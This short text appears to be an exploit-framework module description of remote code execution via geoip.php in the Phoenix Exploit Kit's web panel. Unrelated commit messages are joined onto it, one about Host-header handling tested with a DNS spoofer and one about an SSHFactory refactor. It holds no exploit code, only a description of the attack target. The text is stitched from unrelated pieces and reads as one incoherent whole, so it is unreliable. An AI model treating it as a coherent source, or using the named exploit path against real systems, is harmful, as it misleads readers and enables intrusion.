This module exploits a Remote Code Execution in the web panel of Phoenix Exploit Kit Remote Code Execution via the geoip.php. The Phoenix Exploit Kit is a popular commercial crimeware tool that probes the browser of the visitor for the presence of outdated and insecure versions of browser plugins like Java, and Adobe Flash and Reader which then silently installs malware.

When this exploit is hit by hostname, the HTTP request contains
a Host header field which does not match the IP-based redirection.
Update the module to check request headers for host information,
and fallback to the prior behavior if none exists.
Tested in conjunction with #6611 DNS spoofer - works great, see
issue #7098 for details.
use a convience method to DRY up creation
of the SSHFactory inside modules. This will make it easier
to apply changes as needed in future. Also changed msframework attr
to just framework as per our normal convention
